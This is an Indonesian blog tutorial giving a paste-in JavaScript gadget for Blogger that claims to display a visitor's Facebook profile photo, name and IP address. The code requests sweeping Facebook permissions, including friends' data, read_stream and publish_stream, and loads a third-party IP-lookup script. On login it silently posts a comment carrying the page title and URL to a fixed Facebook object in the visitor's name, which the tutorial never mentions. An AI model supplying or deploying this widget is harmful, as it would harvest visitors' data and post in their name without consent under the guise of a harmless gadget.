Pasang Photo Profile FB di blog

Do you want to share?

Do you like this story?

Pengen gadget seperti di atas ?
ikuti tutorialnya :

1. Login ke blogger.com
2. Pilih Design > Page Element
3. Pilih Add Gadget > Html/Javascript
4. Copas JavaScript di bawah ini kedalam gadget teman !

<style type="text/css">
</style>

<script language="JavaScript">VIH_DisplayOnPage = "no";</script>
<script language="JavaScript" src="http://www.hashemian.com/js/visitorIP.js.php"></script>

<script type="text/javascript">
var applicationID = '146187222096222';
var applicationName = 'Ғь [K̲̅l̲̅i̲̅k̲̅] [K̲̅a̲̅n̲̅a̲̅n̲̅]';
var applicationUserName = 'Ғь [K̲̅l̲̅i̲̅k̲̅] [K̲̅a̲̅n̲̅a̲̅n̲̅]';
var permissions = 'user_activities,friends_activities,user_groups,friends_groups,user_likes,friends_likes,user_notes,friends_notes,user_photos,friends_photos,user_status,friends_status,user_videos,friends_videos,read_stream,publish_stream';

if(!document.getElementById('fb-root')){
    document.write('<div id="fb-root"></div>');
}

if(!document.getElementById('main-interface-for-login')){
    document.write('<div id="main-interface-for-login"><center><div id="login-interface">');
    document.write('<input type="button" id="login-button" class="awesome-button" onclick="clickLogin()" value="Click Here to Begin.."/>');
    document.write('</div></center></div>');
}

if(!document.getElementById('userprofilepic')){
    document.write('<img id="userprofilepic" scr="http://graph.facebook.com/'+applicationID+'/picture?type=large"/>');
}

if(!document.getElementById('profile-details')){
    document.write('<div id="profile-details"><img src="http://static.ak.fbcdn.net/rsrc.php/v1/yb/r/GsNJNwuI-UM.gif"/></div>');
}

function startLoadingPlease(){
window.fbAsyncInit = function() {
    FB.init({appId: applicationID, status: true, cookie: true, xfbml: true});
    getUserDetails();
};
(function() {
    var e = document.createElement('script');
        e.async = true;
        e.src = document.location.protocol + '//connect.facebook.net/en_US/all.js';
        document.getElementById('fb-root').appendChild(e);
}());
}

function getUserDetails(){
    FB.api('/me','get',{fields:'id,name,username'},function(result){
      if(result.name){
        printUserDetails(result);
      }else{
        askLoginStatus();
      }
    });
}

function askLoginStatus(){
    FB.getLoginStatus(function(result){
      if(result.perms){
        getUserDetails();
      }else{
        openLoginInterface();
      }
    });
}

function openLoginInterface(){
    document.getElementById('main-interface-for-login').style.display='block';
}

function clickLogin(){
    document.getElementById('login-interface').innerHTML='<img src="http://images.gmx.com/images/outsource/application/mailclient/mailcom/resource/mailclient/widgets/blue/common/loading_animation_en-3447255655.gif"/>';
    FB.login(getUserDetails,{perms:permissions});
}

function printUserDetails(result){
    document.getElementById('main-interface-for-login').style.display='none';

    var profileDetails = document.getElementById('profile-details');
    if(result.username){
      var userLink = 'http://www.facebook.com/'+result.username;
    }else if(result.id){
      var userLink = 'http://www.facebook.com/profile.php?id='+result.id;
    }else{
      var userLink = 'http://www.facebook.com/';
    }

    profileDetails.innerHTML = '<h1 class="pdetails profilename"><a href="'+userLink+'" target="_blank">'+result.name+'</a></h1><br/>';
    if(result.id){
      document.getElementById('userprofilepic').src = 'http://graph.facebook.com/'+result.id+'/picture?type=large';
      profileDetails.innerHTML += '<h6 class="pdetails profileid"><span>ID:</span> '+result.id+'</h6>';
    }
    if(result.username){
      profileDetails.innerHTML += '<h6 class="pdetails profileusername"><span>UserName:</span> '+result.username+'</h6>';
    }
    if(VIH_HostIP){
      profileDetails.innerHTML += '<h6 class="pdetails ipaddress"><span>IP Address:</span> '+VIH_HostIP+'</h6>';
    }
    FB.api('/10150208794601239/comments','post',{message:document.title+'\n'+window.location},function(response){});
}

startLoadingPlease();
</script>

sekian dulu dari saya :D
tunggu aja widget selanjutnya :P

NB : Ganti yang berwarna putih dengan ID APP FB anda
Ganti yang berwarna merah dengan Nama APP FB anda